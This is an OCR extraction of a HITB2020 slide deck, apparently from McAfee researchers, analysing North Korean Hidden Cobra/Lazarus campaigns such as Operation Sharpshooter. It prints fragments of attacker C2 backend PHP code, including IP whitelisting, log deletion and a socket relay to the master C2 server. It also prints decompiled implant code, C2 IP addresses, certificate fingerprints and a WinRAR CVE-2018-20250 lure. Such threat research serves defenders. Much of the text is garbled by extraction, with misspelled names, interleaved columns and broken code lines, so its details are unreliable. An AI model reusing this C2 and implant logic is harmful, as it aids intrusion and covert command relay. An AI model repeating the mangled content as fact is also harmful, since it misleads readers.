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The Goal of a Nation State & Geo-Political Context
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Background on Nation State Cyber Offensive Programs
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* Most nations have some form
of cyber offensive program
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* These programs are often
designed to accomplish state
goals
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* Attribution of these cyber
attacks are challenging
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Who is/Wnat is Hidaen Cobra?

 Hidden Cobra refers to the U.S Government’s umbrella classification of North Korean cyber
offensive programs

* The activity set maps across multiple groups the private sector has different names for

ID: G0032

Associated Groups: HIDDEN COBRA, Guardians of Peace, ZINC, NICKEL ACADEMY
Version: 1.2

Created: 31 May 2017

Last Modified: 04 October 2019 ]
MITRE | ATT&CK

https://www.us-cert.gov/northkorea
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Group Naming Conventions

* The private sector has identified
the Hidden Cobra activity set by
various names

* The target objectives of these
groups are different when
compared to each other
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A brief Statistical Review

COMMAND AND CONTROL SERVERS

Count [N

1 12

© GeoNames, HERE, MSFT, M

osoft, Navinfo, Thinkware E

red by Bing

Wikipedia

File Types Used in Q4 2019
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A brief Statistical Review

MITRE ATT&CK Mapping

Initial Access Execution Persistence Privilege Defense Evasion Credential Access Discovery Lateral Movement Collection Command And Exfiltration
Escalation Control
11 items 34 items 62 items 32 items 69 items 21 items 23 items 18 items 13 items 22 items 9 items
Drive-by Manipulation Deployment
Bash History _Oommé
Exploit Public- System Informatic Component Object _ontrc
Facing Application Brute Force Model and Audio Capture
Distributed COM Automated
External Remote Accessibility Credential Automated standard Application Exfiltration
Services Features Dumping _onfiguration Discover Exploitation of Collection
AppleScript Remote Services Data Transfer Size
Hardware AppCert DLLs Credentials from _ Data from Limits
Additions CMSTP .bash_profile and Web Browsers Internal Information
.bashrc Applnit DLLs _ Spearphishing Repositories Exfiltration Over
Replication Compiled HTML File Credentials in Files Alternative
Through Accessibility Features Application Logon Scripts Data from ! Protocol
Removable Media Component Object Shimming Credentials in Network Shared Pc
Model and Account Registry Pass the Hash Drive Exfiltration Over
Spearphishing Link Distributed COM Manipulation Bypass User Browser Bookmark _ Other Network
Account Control Exploitation for Discovery Pass the Ticket Data from Medium
HITB2020
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Hidden Cobra Threat Profile

» Hidden Cobra is using cyber operations as a means of accomplishing state
military goals in place of conventional warfare. Hidden Cobra has had some
form of cyber-offensive dating back to 2007.

* Objectives of cyber offensive programs

» More cost effective than conducting conventional war (for a nation state that
has heavy imposed by economic sanctions)

 Creates a level of deniability for whom is responsible (often placing blame on
false groups)

» Can be used to disrupt or deceive enemies anywhere in the world
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Timeline of Events

2/14/2018 10/18/2018 10/11/2019
Operation HaoBao Operation Oceansalt Fake Cryptocurrency Company
2/2/2018 \ 42a/2008 12/31/2018 3/26/209 \ 12/17/2019
Operation Golddragon Operation Ghost Secret Operation Sharpshooter Cryptocurrency Attacks DACLS RAT
8/10/2018

Cosmos Bank India Intrusion

7/1/2018 10/1/2018 1/1/2019 4/1/2019 7/1/2019 10/1/2019 12/31/2019
1/6/2018 32/208 11/28/2018 p. 12/3/2019
- . Operation Honeybee 3/8/2018 Chilean Redbanc Intrusion 2/19/2019 Union Crypto Attack
PYcOngehang Ciympcs Turkish Bankshot Attacks

KEYMARBLE attacks on Russia
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Modus Operandi of Known Attacks

* Circumventing sanctions by engaging in crypto currency and bank heists.
* Targeting North Korean defectors and opposition groups.

* Seeking access to foreign technologies in the Defense Industrial Base (DIB)

2007 2008 2014 2015

=

Silent Chollima

| I | | !f https://www.mcafee.com/blogs/other-blogs/mcafee-labs/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/ HITB2020



https://www.mcafee.com/blogs/other-blogs/mcafee-labs/examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families/

Operation Snarpsnooter

* Sharpshooter was a global campaign
that appeared in 2018

* New activity appeared in 2019 with
additional targets in the Middle East

* A new implant known as Rising Sun was
used against targets

* ATR discovered linkage to other Hidden
Cobra attributed campaigns

* With this insight we could effectively
map back activity to 2017
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Operation Snarpsnooter

» Actor used compromised servers to host command and control code

» Chinese webshells were used to maintain persistence to the asset

 Actor connected via Express VPN service to manage the hacked assets

Logout | File Manager | MYSQL Manager | MySQL Upload & Download | Execute Command | PHP Variable | Port Scan | Security information | Eval PHP Code

File Manager - Current disk free 390.7 MB of 3.46 GB (51.03%)

WehRoot | ScriptPath | View All | View Writable { Directory | File ) | Create Directary | Create File

Find string inﬂles(currentfolder):l | Find T\,rpe:|php,cgi,pl,asp,inc,js,htr

Filename

Parent Directory

Filename

Delete selected

Powered by PhpSpy 2011. Copyright (C) 2004-2011 Security Angel Team [S4T] All Rights Reserved.

Regular expressions

Last modified

Last modified

125 Bytes

Size

"GET /online/public/notice.php HTTE/1.1" 200 360
"POST /online/public/notice.php HTTP/1.1" 302 - "https://www.
"POST /online/public/notice.php HTTP/1.1" 302 - "https://www.
"GET /online/public/notice.php HTTP/1.1" 200 37705
"GET /online/public/notice.php HTTR/1.1" 200 37705
"POST /online/public/notice.php HTTP/1.1" 200 7216
"POST /online/public/notice.php HTTP/1.1" 200 7216
"POST /online/public/notice.php HTTP/1.1" 200 7390

"https

: /v

"https

: /v

"https

AT P

"https

: /v

"https

A0

LI McAfee

"-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (RHTML, like

online/public/notice.php”

online/public/notice.php”
online

Jonline/public/notice. php

"]
H]

Jonline/public/notice. php
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Operation Snarpsnooter

« Some malicious TLS certificates were
identified and associated with C2
infrastructure

- Based on the TLS certificates we identified
more C2s using the same certificate

* In these operations we often find shared

TLS certificates use for C2 protocol, this
enables hunting for more infrastructure

LI McAfee

Tracking Shared TLS Certificates

a8 89.249.67.29
M247 (9009) Leeds, England, United Kingdom
Windows 3389/rdp, 443/https, 80/http

1S7 * wikipedia.org
443 https.tls.certificate.parsed.fingerprint_sha256: 27694763ddfaf8d73264c630896935fb76fc5dada395779723391e31cebdbeb14

O D

a8 89.249.67.30
M247 (9009) Leeds, England, United Kingdom
Windows 3389/rdp, 443/https, 80/http

1S7 * wikipedia.org
443 https.tls.certificate.parsed.fingerprint_sha256: 27694763ddfaBd73264c63096935fb76fc5dada395779723391e31cebdbebt14

O D

o8 222.239.90.215

Shared TLS Certificates

SKB-AS SK Broadband Co Ltd (9318) Republic of Korea
Windows 443/https, 80/http
K.System ver.5 Genuine Updater * wikipedia.org

443 https.tls.certificate.parsed.fingerprint_sha256: 27694763ddfaBd73264c63096935fb76fc5dada395779723391e31cebdbebt14
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Operation Snarpsnhooter

Connections to other operations

2nd Stage Implant
e

063C4B4F99F9D04EBED771C17ADD1D68
w
3bde9d3dfa43535530428ce71 bafbcfO

/,' Rlsing Sun V2
= /
o

- , e {

81.92.202.174

=

89249 67.29

/ >

Malcious SSL Certificate

Document in Isreal
Aecrospace Attack

Swtemsﬁng'"“““g i 27694763ddf80d 732 64C63090935fb7

2017 Lazarus Crypto

2017 Lazarus Defense

Dropper Rising Sun V2 Currency Attacks Contractor Targeting
= - it - - ¥
0E2055042TITET I 1bace yoto Currency CFO Job Kk ood Martin - CIRT Passw P araoer - USG Proo
-_ . - -
| | =
//
/
”
”~ - \» l _/

” — A | » A

| [~

V= ‘

NMifrmb§m1Mrf 18904341 fedd1 1484 10d84daTof Td5¢ a5f720fSbdb25 302018857202 3ee09 Same Macro - Different Payload
| s & / \
= o P o cel A
302 174 3337 207 337 222. 122 ’11 115 219.252.39.16 208.117.44.112
. K v
P -’ - *
Customer Service Representwe Stratege Planmng Manage Business Inteligence Adminsirator
- -

-
Operation Sharpshooter
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Operation Snarpsnooter

C2 backend component analysis

- Backend was based on Python code,
other iterations were found written in
ASP language

- Backend used a multi-layered approach
to relay commands to a master server

Connect

v

- Backend was custom coding written by
the adversary

- We can date the usage of this server to
2017

- ATR discovered additional C2s with more
implants from previous campaigns that
used the Sharpshooter backend
framework

Express VPN
onnect
Notice.php
Webshell

Primary C2
23.227.207.185
Running TinyProxy

1.8.4

A

l—(ommand Rely

Direct Access to Server

o Intermediate C2
Hacked Server

Iommand Rely
Mainmenu.php Framework.php
Command Interpreter i Implant Downloader

Vendor.php

Implant Downloader

Apple.png
Encrypted EXE

Mypng.png

Downloader

LI McAfee

Download and
Server Web Directory Decrypt
Download
Downloader
Get Commands / Send Data
i Download RisingSun V2
v Download
Maldoc
HITB2020




Operation Snarpsnooter

S . Command handler and data acceptor (mainmenu.ph
* Free: write infected end-point’s IP ptor php)

Hvarl enum=<random number>&page=<request_type>&wr_id=<encoded time_ stamp>&session_id=<RC4+base€4 encoded data>
to a log file called jquery2017.js <=~- where vari_enn -
° ~\ {
\\\\ "code="
o 1 \ Tno=" .
* Query: Write the data gathered \ e Obfuscation of Commands
S s (random names with no meaning)
from Rising Sun implant Bty \ "pageKey="
‘x\\ \\ "structureid="
° \ \ }
* Suggestion: read the data from N
\\ o request type=
. . <____ \\~ \\~~ {
the name flle and present It tO ----- ~ ~~~~~ S==a=l ifree" //indicates initial recon data - first connect to CnC Data Format
Neaee TS "query" // indicates request to fetch the command if from the CnC mmmmmemao___
: - T T S "suggestion" // indicates request to fetch additional data from cnc T T==el_
Intermedlate C2 ______________ "result" // indicates data obtained from the command's execution on the endpoint by RisingSun~~‘~~~
’,’ ________ "set" // indicates command for the CnC to set the IP of the actual CnC server in its config file N‘x\
* Result: send the results of <------—-="" Pt ans } N
”~ /
/
° V4 y
Command execution to aCtuaI Cz I.' <varl_enum>=<random_number>&page=suggestion&wr_id=<enc //
. 4 oded_time_stamp>&name=jquery2017<encoded_time_stamp>09. ==
o . R4 - - — -
Set: obtain a new C2 IP address of . s

-
-
-

the actual C2 (master) <=7

U MCAfee HITB2020




Operation Snarpsnooter

 Additional
functionality
custom coded

LI McAfee

function checkip()

H{
if (lempty($_ SERVER['HTTF CLIENT IF'])) C h ec k I P aga i n St
$ip = $_SERVER["HTTFP_CLIENT IP']; h h d I P
elseif (!empty($_ SERVER['HTTP_ X FORWARDED FOR'])) a S e S
$ip = $_SERVER['HTTP_X FORWARDED FOR'];
else
$ip = $_SERVER["REMOTE ADDR'];
if (md5 (substr ($ip, 0, 8)) == "39eZ2fb39d6f87clbdbe37ebec20ce5023" || md5(substr($ip, 0, 9)) == "8%acecceb3337cddbee3lc81ladl787a6™)
return 1;
i

SConFile = "ServerSetting.xml":

if(Gfile exists (SConFile))

Sfp = @fopen($ConFile
Sconfig = @fread($fp ,

@fclose (S$fp) ;

Sconfigary =

"JgqueryzZ017”.$ POST['wr_ id’].Sindex."0%9.css";

Delete Log Files
Function

function DeleteLogFiles()
{
@unlink ("style20170925['.$ POST["wr_id']."256.css");
@unlink { '1-_=.t.-,r1e21:|1:5: EIlEl'E‘I'. $ POST["wr_id']."370.css");
Sindex = 0;
while (1)
{
$fileName =
if (@file exists($fileName))
Gunlink{$fileName) ;
else
break;
Sindex ++;
}
}

$ip = Sconfigary([0]:
Sport = Sconfigary([l]:
Sfp = @fsockopen($ip,

r

Gexplode(': "',

Sport,

Connection opened to the actual
command and control server by the
intermediate command and control
server.

'ls-’l) -
e r

filesize (SConFile)) ;

Sconfig):;

N

Serrno, Serrstr, 30)

HITB2020




Operation Snarpsnooter

Designed to target Middle East
aerospace companies

First stage implant used by the actor to
collect basic data and install further
implants

Retrieved by Framework.php hosted on
the command and control server

Capabilities
* Gets HTTP user agent

* Collects and sends file path with <
running processes

* As aresponse to HTTP POST,
Vendor.php sends apple.png (Rising
Sunv2) to Mypng.png

* Once the contents of apple.png file -

are downloaded from CNC, decrypts T—

Rising Sun v2 into memory

LI McAfee

loc_13F5A2324:

loc_13F5A232D:

lea
mov
mov
call
test
jz
lea
lea
mov
call

mov
call

lea
lea
call
test
jz
lea
mov
call
test
jnz

rdx, [rsp+BEC8h+me] ; lpme
rcx, vrbx s hSnapshot

e Modulessrirsty 1T o Implant injecting
chort loc_13F5A2324 into memory

¥8, [rsp+BEC8h+me.szExePath] ; Src
rcx, [rsp+BEC8h+Dst] ; Dst

edx, 4006h ; SizeInWords
wCcscpy_s

; CODE XREF: inject code into explorer_ process+D8Tj
rcx, rbx s hObject
cs:CloseHandle

; CODE XREF: inject code into explorer_ process+A3Tj
rdx, [rsp+BEC8h+Dst] ; Str2
rcx, Str1 5 "c:\iwindowsi\explorer .exe"
_wcsicmp
eax, eax
short loc_13F5A235D
rdx, [rsp+BEC8h+pe] ; lppe

rcx, rdi ; hSnapshot
cs:Process32Nextl
eax, eax

loc_13F5A22A0

HITB2020




Operation Snarpsnooter

knowing the HTTP request format

P
P

Tracking additional C2s was possible by p

P

Form item: "pageKey"” = "10957"
Form item: "page"” = "free"

Form item: "wr_id" = "783

Form item: "session_id" =

HTML Form URL Encoded: application/x-www-form-urlencoded

HTTP Request from Rising Sun implant 2018

73"

"bO@SAAIVvr8aSrLiMTbtv5ncGGI9jaQbdlHa jNgGscR4MDZMXSI13siBy2DhIaVR5I

associated with command interpreter

This names are random, the

The HTTP request format is

Command |nterprEter acceptS d difference is not significant Very Slmllar identical
specific format, C2 backend provided
inSight HTML Form URL Encoded: application/x-www-form-urlencoded
. . . g form ifem: Tboardipt = Ti77E HTTP Request from Op Sharpshooter
We discovered additional C2s hosting > Form item: "weoid" = ~a51125"
. D Form item: "session_id" = "910FACtTA4frGPkpxdmgkS53GHYOTMilWh7Yc8LIFQDLSEURUzYaxPNFFxC3@axHccZCqln
ASP code instead of PHP

 This indicates the backend was
adapted into two code formats to be
able to be run on any kind of
platform
In the request header ‘Accept-
Language’ we identified North Korean

language set

LI McAfee

< POST /webzine/b
P Expert Info

Request URI:

Cache-Control:

ottom.asp HTTP/1.1\r\\n

(Chat/Sequence): POST /webzine/bottom.asp HTTP/,1.1\r\n
Request Methed: POST

/webzine/bottom.asp

Request Version: HTTP/1.1

no-cache\r\n

ASP based command handler

Content-Type: application/x-www-form-urlencoded\r\n
Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;9=0.8\r\n
Accept-Language: ko-kp,ko-kr;g=0.8,ko0;q=0.6,en-us;g=0.4,en;g=0.2\r\n

Accept-Language Setting in request header

(ko-kp)

McAfee Confidential



Operation Snarpsnooter

e Vendor PHP file is used to

* Log remote IP and identifier to a log called
jguery2018.js with timestamp

1f( Zstrcmp(S_POST ["alive'], "verify session") && file exists ("apple.png”))
 Whitelist checking of client IP against specific
IVIDSS @readfile ("apple.png™) ;
o Checks HTTP User Agent } Vendor.php serving apple.png to downloader

* Checks to see if the POST request contains the
parameter alive=verify session

* Script will serve the file apple.png to the
infected client

U MCAfee McAfee Confidential




Operation Snarpsnooter

The Evolution of Rising Sun Implant

Execute commands

Get drive information

Launch process from Windows binary
Get processes information

* Variations of Rising Sun can ‘ T

be traced back to as early as . . WiingSun implant
2015 | ‘ % BOT Capabilities

Terminate process
Get file times

Read afile
Write a file to disk
Delete file

Get additional file information
Connect to an IP address

e Another indication that the S &, AP Resolution Techniques

Version

b ac ke N d fra mewor k h d>s Similarities @ API Resolution in Code
o

b e e n u S e d fo r ye a rS t 0 C2 configuration information: Contains URLs

. .. Dy Jta Conficuration / and IP addresses of the CnC servers
support operations Y Data Configurt ~—_

Local configuration data: Contains Privilege

Change file attributes
Variant of change file attributes

Di ﬁerences — names, VM related strings, Registry keys etc
 ATR cantracealinageof === s e
C2 Configuration Location Data Communication Mechanisms g Deployment Techniques
S a m p I e S O r I g I n a t I n g I n t h e Hardcoded configuration data blobs HTTP POST requests with optional Distributed via malicious document
in the implants itself. HTTP data in a specific format. that inject shellcode into Word process.

public domain going back to

Uses a file on disk in the currently
logged in user’s profile folder to read
the C2 configuration data from.

Distribution techniques currently
unknown.

Different set of HTTP headers to
transmit the data to its CnC

2017

Embedded resources in the binary
containing the RC4 encrypted CnC
data.

Uses SSL to connect to its C2 IP Distributed via downloader binaries.

addresses with hardcoded certificates. | :

U MCAfee McAfee Confidential




Operation Snarpsnooter

Additional activity was observed
in 2019 targeting an Israeli
defense contractor

Within the Accept-Language
parameter in the email header,
Korean language was present

Attached file exploited CVE-2018-
20250 involving a WinRar
vulnerability

Masquerading as SysAid product

documentation that actually
contains a Rising Sun downloader

LI McAfee

2019 Activity — additional targeting in the Middle East

Junk

To Idan _

H s 12TV NP2 wonwn SYSAID - Message (HTML) ? H - 0O
MESSAGE
X (RIL 3 Famesting |* Crstetiew Yo monee (Y WP df B Q
Related ~
Delete  Reply Reply Forward Mare Move [jJActionsv Mark Categorize Follow  Translate D Zoom
Al - Unread  ~ Up~ - b Select~
Delete Respond Quick Steps P Mowve Tags [ Editing Zoom
Wed 3/6/2019 9:43 PM
vosi I <vos R o
[12TYY NP2 wNNn SYSAID
Message mSysAid-Documentation.rar (3 MB)
JiLQ¥0L
SYSAID -RIQED:. o+ Besysaid -0 ¥2£20” ¥2£2003 i...
FRRIONE WO .9X0080L 00",
2RO O.
M2,
Targeted Email sent to Victim

Message-TId:

<AJEA145C65A574458D1CCFD7C300498358352529@AsInt-HQ-EX0Z . Domain. local>
Received: from ASINT-HQ-EX0Z.Domain.local {([fe80::80b6:3fc3:38¢3:1£3d]) by
AsInt-HQ-EX0l.Domain.local ([fe80::644e:ab6f2:2f63:a2d8%14]) with mapi id
14.03.0352.000; Thu, 7 Mar 2019 07:42:00 +0200
Thread-Topic: =?windows-1255?B?5Pné7vkg4eH3+eQg7PL]6+XvIFNZUOFJRA==7=
Thread-Index: AdTUgqJZiMBvIFtZ3300/WX3As/AkceQ==
Accept-Language: he-IL, ko-KR, en-US |
Content-Language: he-IL

¥-MS-Exchange-Organization-8CL: -1
¥-M8-Exchange-Organization-AuthSource: AsInt-HQ-EX0l.Domain.local
¥-M3-Exchange-Organization-Authis: Internal
X-M8-Exchange-Organization-AuthMechanism: 04

¥-Originating-IP: [172.16.0.30]

m eaccQeeB8a0b0db7d8%fdf5b76406fe1cdead00f23205e 72307890475 cfAbOfQurar (evaluation copy)

WirusScan

File  Commands Tools Favorites Options Help

80 DOl e

Extract To Test Wiew Delete Find Wifizard Info

. Email Header
Contents of WinRar file [

T l@ eacc0ee88a0b0db7da0fdf5b 76406fe1cdead08f23a05e 72307890475 cfAbOfQurar - solid ACE archive, unpacked size 2,952,610 bytes

MName

‘am C:

Location to bad file

=) Vendor-Landscape_Mid-Market-Service-Desk-Software, pdf
|| Thumbs.db.Ink

@] Read up on Sys&id.pdf

] InstandDemo-Preview.png

| How to download Sys&ID 18 for Windowys bt

\;] Contact Us.txt

| Contact Us.png

& Cloud Release Notes _ Sys&id.pdf

& Bug Fixes 17 - Cloud.pdf

@] About SysAid and our customer commitment.pdf

Size Daclbad Tima hAdndifiad CRC29 : _
m eacc0ee88a0b0db 7d89fdfSh76406fe 1cdead09f23295e 72307890475 cfAbOf Q.rar (evaluation copy)
Ld Ld
File  Commands Tools Favorites Options Help R S D I d
1,258,660 1, _ . ISI n u n Own Oa er
L ﬁ = N
d ;—) | \/Q \ A 4
136,168 s fdd BdractTo  Test  View clete Find  Wizard  Info | VirusScan
160,938 T ’f@ eacc0ee88a0b0db7d89fdfSh76406fe 1cdead09f23a95e 72307890475 cfAbOf0.rar\CAC  \usershidans\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup - solid ACE archive, u
195 S
152 MName Size Packed Type Modified CRC32
. | " File folder
216,226 (] ekrnview.exe = 98,516 98,816 Application 2/21/201910:0...  22A50CD6
193,008
166,467
751,023 ]
Local [

McAfee Confidential



Tools and Implants

* BANKSHOT

* BADCALL

* HOPLIGHT

* TYPEFRAME

* KEYMARBLE

* SLICKSHOES

* BUFFETLINE

* ELECTRICPHISH
* ARTFULPIE

* CROWDEDFLOUNDER
* BISTROMATH

* HOTCROISSANT

ON
N

* HAOBAO

* HONEYBEE

* BACKDOOR ESCAD

* BACKDOOR AKDOOR

* BACKDOOR NUKESPED
* BACKDOOR DESTOVER
* TROJAN AKDOOR

* TROJAN HWDOOR

* BRAMBUL

* JOANAP

U MC A fee HITB2020




Implant Development - the past, the present and the future

e Several implants
have long
development
timelines lasting
years

Some implant
families have
appeared recently
with new variants

Dataset is based
on samples
observed by
McAfee Labs

LI McAfee

6/18/2020

2/4/2019

9/22/2017

5/10/2016

12/27/2014

8/14/2013

12/1/2019

5/15/2019

10/27/2018

4/10/2018

9/22/2017

3/6/2017

8/18/2016

1/31/2016

7/15/2015

12/27/2014

6/10/2014

11/22/2013

BACKDOOR AKDOOR

= CompileDate

BACKDOOR ESCAD

-

1/12/2040

12/1/2019

5/15/2019

10/27/2018

4/10/2018

9/22/2017

3/6/2017

8/18/2016

1/31/2016

7/15/2015

12/27/2014

6/10/2014

6/18/2020

2/4/2019
9/22/2017
5/10/2016

12/27/2014

8/14/2013

TROJAN SCARCRUFT TIMELINE

— CompileDate

TROJAN HWDOOR

—CompileDate




Implant Development - the past, the present and the future

BACKDOOR DESTOVER TROJAN NUKESPED

12/1/2019 12/1/2019

5/15/2019 5/15/2019

10/27/2018 10/27/2018

4/10/2018
4/10/2018

9/22/2017
9/22/2017
3/6/2017

3/6/2017
8/18/2016

8/18/2016
1/31/2016

7/15/2015 1/31/2016

12/27/2014 7/15/2015

6/10/2014 12/27/2014

11/22/2013 6/10/2014

TROJAN.WIN32.NUKESPED

6/18/2020

2/4/2019

9/22/2017

5/10/2016

8/14/2013
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/mplant Development — Trojan Hwdoor

sub_108009238{(6, 66006, 180060, 186000);

sub_100068CO(L""'Mozilla/5.08 (Windows NT 6.1; Trident/7.08; ru:11.8) like Gecko™);
LOBYTE{v38) = 1;

sub_100089140( (Concurrency::details:: CancellationTokenRegistration *)&u29);
LOBYTE{v38) = 8;

[ ] [ ] .
¢ HWDoor IS a broad antl- z::{;tj:‘j?gg?gf&Hrzngg)]i,d%aues&id:%11x&buFFer=", vi1[2], vi1[3]);

vi5 = a3 + strlen(&v13);

. v = (char =)malloc{(v15 + 1);
malware detection name for b stelen(horny:
memcpy_B{uv4, &013: uS);

[ ] [ ]
m vt = strlen{&v13);
a fa Ily Of Hldden CObra memcpy_0(&v4[u6], a2, a3d);
sub_108008E68(v4, v15);
sub_180067F8(&Dest, L"%d", v15);
ac 00 rs sub 100069AB(L"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8\r\n");
sub_100069CO{L"Accept-Language: ko-KR;q=8.8,ko0;q=0.6,Ko0-KR;q=0.4,Kko;q=0.2\r\n"");
sub_1000869CO(L" 'Content-Type: application/x-wwuw-form-urlencodedirin);
sub_108069COB{L" "Accept-Encoding: gzip, deflate\rin);
SUD_TUU06YCH(L COntent-CengTn:s ),
o sub_1008069CO8{&Dest); rean Langua
sub_180069CO{L""\r\nConnection: Keep-Alive\rin'); Jez
= HWDoor has been In sub_108086869CO(L"'Cache-Control: no-cachekirin');
sub_1080098008({(Concurrency::details:: CancellationTokenRegistration =)&vu12);
e e ° sub_180868CO{L"'POST");
existence since Operation [OBFTE (u30) - 2 |
sub_100087770( (Concurrency::details:: CancellationTokenRegistration *)&v28, 0);
LOBYTE(v30) = 8;
T roy sub_1000869408(&v28);
if { unknown_libname_4{vi1 + 6) )
{
v7 = (const char *)unknown_libname 4{v11 + 6);
if { *strncmp{v7, "bookcodes:200", 8xDu) )
{
if { a4 )
*{_ DWORD =)a4 = a3;
vié = 208;

o N ew Ve rs i O n S Of t h is }nt __stdcall sub_188166A8(char *al)

FILE *vu1; // eax@1

backdoor have appeared in e

size t vk; /7 eax@1

2020 vi fopen{"'C:\\Windows\\Temp\\server_dll.log", "at+");
v2 vi;

v3 vi;

vl strlen{at);
furite(al, 1u, vi4, u3);
return fclose{(v2);

b

else

{

v8 = (const char *)unknown_libname_ 4{v11 + 6);
strncmp(v8, "bookcodes:3806", 6xDu);
vi6 = 300;
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implant Development - Backdoor Escad

Escad is an implant that has been associated with
Hidden Cobra for years

Escad is a listening implant installed on victim
machines

Variants of Escad have been tied to numerous high
profile intrusions such as the Sony Pictures
incident

Last active development of Escad was April 2019

U MCAfee HITB2020




Using Graph Correlation to identify malware DNA

 Using visualization for:

2R

Trends Evidences Similarities

It can be scalable and can be used on thousand of samples.
* It spots similarities between them.

* It helps to draw hypothesis.
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Graph Theory

A graph is a structure amounting to a set of objects in which some pairs of the objects
are in some sense "related".

The objects correspond to mathematical abstractions called vertices (also
called nodes or points).

Each of the related pairs of vertices is called an edge (also called link or line).

G=(V,E)

U MCAfee HITB2020



https://en.wikipedia.org/wiki/Vertex_(graph_theory)

Strings Similarity
= String metrics or string similarity measure how similar two strings are.
= The unit that measures string similarity is the distance between strings.

= Malware from the same family or compiled from the same environment can share a
significant amount of strings indicating similarities between them.

= For this exercise, we extracted strings for all the samples and compared them with a
Jaccard distance to evaluate the similarities.
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Code DNA - Hidden Cobra

« Extracting a full set
of strings from a
smaller sample set
of Lazarus / Hidden

Cobra samples

« Using data science
models we
determine
relationships
between samples

. e
* Individual clusters @.@QW
V//"%‘i§§1}\

appear that indicate )\

overlaps between

families of Hidden

Cobra malware
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Code DNA - Breaking out into Clusters

« Extracting a full set
of strings from a
sample set of
Lazarus / Hidden

Cobra samples

( GHOST_SEC3

CEmoTorISH 0 =8
S~
TSN

ELECTRICPHISH

¥

Full Strings

HOPLIGHT 07

BUFFETLINE

- —

AN

7\

) ..lfo?\"l% N

T
HOPLIGHT 02 \ | g
— SN
HOPLIGHT 09

V) N4

Full Strings

LI McAfee

TYPEFRAME_05
\

ELECTRICPHISH_O1

MACHOKE HASH

0 R
TYPEFRAME_02 TYPEFRAME_09

ELECTRICPHISH_01
ELECTRICPHISH_04

7 W
SCELECTRIPHISH 02>
<_]

ELECTRICPHISH_02

TYPEFRAME_02

ELECTRICPHISH_04

TYPEFRAME_09

ELECTRICPHISH_03

B

ANKSHOT 11

TYPEFRAME_06

BANKSHO
|

/]

>

BANKSHOT

MACHOKE HASH

BADCALL_O1

lk
‘ ‘

DCALL_03

¢ BADCALL 01

BANKSHOT 05

BADCALL_03
BANKSHOT 11
TYPEFRAME_06

BANKSHOT

BADCALL_02

HITB2020



Clustering by PE Rich Header

Cluster Analysis of Hidden Cobra
Malware Samples

« PE Rich header is a useful s o]
signature for tracking similar e
samples, but be aware of false St v
flags 30l TN

+ 324 Samples from 2018/2019 - Ve S
with Rich Header information :
generated et

 Intersections between some o : Al e e
malware families indicate | N S, ‘ 3 Br .
shared development C ARy, AR

environments s , : e :
..0.:.::. .. o ... :. : ... . ..‘ .o. 5
.:.:o o 0.0 : ® Q. o’ a 2 ..
LS SR A B S

B Family Il Hash I RichHeader
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Clustering by PE Rich Header

NUKESPED, DESTOVER 2017, Py e ® : .o .
HOPLIGHT, GHOST ® o BADCALL, BANKSHOT, .. o‘ 0. :
- Breaking out the clusters S s MANUSCRYPT, HWDOOR, S
. - - FAKEJOBS, TYPEFRAME p ¢
reveals interesting links 1 ® CLUSTER
.. . . o P ® ..: e0 = o ... '..o ‘.o
oo © o ® o o = o ._:0
» Several malware families 0 % @
were found to link to each L 0%, "0 g “: :
other based on common 2 RS A ST
development environments 2l
« The same developers were ~ - 33
responsible for multiple
clusters of implants. e 8
CLUSTER s o
U MCAfee HITB2020




[0x402f05] ;[gAf]

0 0 0 0 ;
;-- eip:
Code Similarities
Qs

; var int local_90h @ ebp-0x90
ebp

mov ebp, esp

and esp, Oxfffffff8

= Code similarities is used to identifies similar o, s KERAEL32 1 VorSat{ondiiorkigsh
functions or part of code of a sample.

= To scale this part we used the Machoc Hash.

0x402f14 - ; [gAh]
call sub.KERNEL32.dll_GetCurrentProcess_941
cmp eax, 0x1000

= Machoc is a fuzzy hash of the Control Flow
Graph (CFG) which is a representation of the
function call in binary. T

» The Machoc Hash can be used to calculate the

similarities between two samples, and it is 0xd02625 3 Lghe
call sub.KERNEL32'.dl1_GetTickCount_2fa
reliable enough for malware research.
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Code DNA - BankShot v.s BadCall Code Sharing

Clustering with data science
models shows that BADCALL
and BANKSHOT share a

significant amount of strings

Further code analysis
indicates 65% similar
functions

Code overlap exists in the
functionality to enable host
to act as a hop point and
through implementation of
Fake TLS method

BANKSHOT

N\

s
(TS

A
e\ L i

BANKSHOT _05

Strings comparison

I McAfee

§ J{ U9 ) ;
{ *sub_4023FB8(&u9) || *sub_482130{&v5, &ui, 128) )
goto LABEL 11;
if ( strcmp(&vu5, al1gazxsdc23we) )
{
if { t*strcmp{&v5, aGhfghjuyufgdgf) )
{
V2 strlen(aQ45tyuéhquhi7sS) + 1;
v = v2 - 1;
qmemcpy(&v5, aQa5tyuéhguhi?sS, v2 - 1);
if ( sub_4020860({int)&vu5, v2 - 1) == 1)
sub_ 401560(&v9);

?
goto LABEL_11;

s
vi strlen{alMGhfgelwer) + 1;

vy vl - 1;
gmemcpy{&v5, aMGhfgeliwer, vi1 - 1);

if { sub_402860({int)&v5, v1 - 1) *= 1 || sub_4B14EB(&v9) = 1 )

{

LABEL_11:

sub_402250(&v9);
goto LABEL_12;

}
}

LABEL_12:

sub_481DBO{&v9);
return 0O;
b

D1f3b9372a6be9c02430b6e€4526202974179a674ce94fe22028d7212ae6be
9e7 2/7/2016 DLL File

BADCALL_01
TYPEFRAME_06

BADCALL_02 )
|
BADCALL_03

= V4
BADCALL_01

BANKSHOT
BANKSHOT 05

Machoke hash comparison

.\

BADCALL_03

BANKSHOT 11

BANKSHa TYPEFRAME_06

BANKSHOT

BADCALL_02

sub_10002486(

*{(_DWORD #*)1pThreadParameter
*{(_DWORD #*)lpThreadParameter
*{(_DWORD #*)1pThreadParameter
*{(_DWORD #*)1pThreadParameter

{(lpThreadParameter);
vS = B;
memset(&ué6, 0, Ox1Cu);
v? a;
vy ;

*sub_100802630(&v9) && ?'sub_10002640(&v9) && Sub_108923ﬁ9(&05, &ul) )

if { tstrcmp(&u5, aQuertyuiop) )

{

v strlen{afAsdfghjkl) + 1;

vy vi - 1;

qmemcpy{&v5, aAsdfghjkl, vi - 1);
if ( sub_10002298(&v5, v1 - 1) == 1)

sub_1888150808{&v9);
?

else if ( *strcmp(&v5, aGhfghjuyufgdgf) )

{

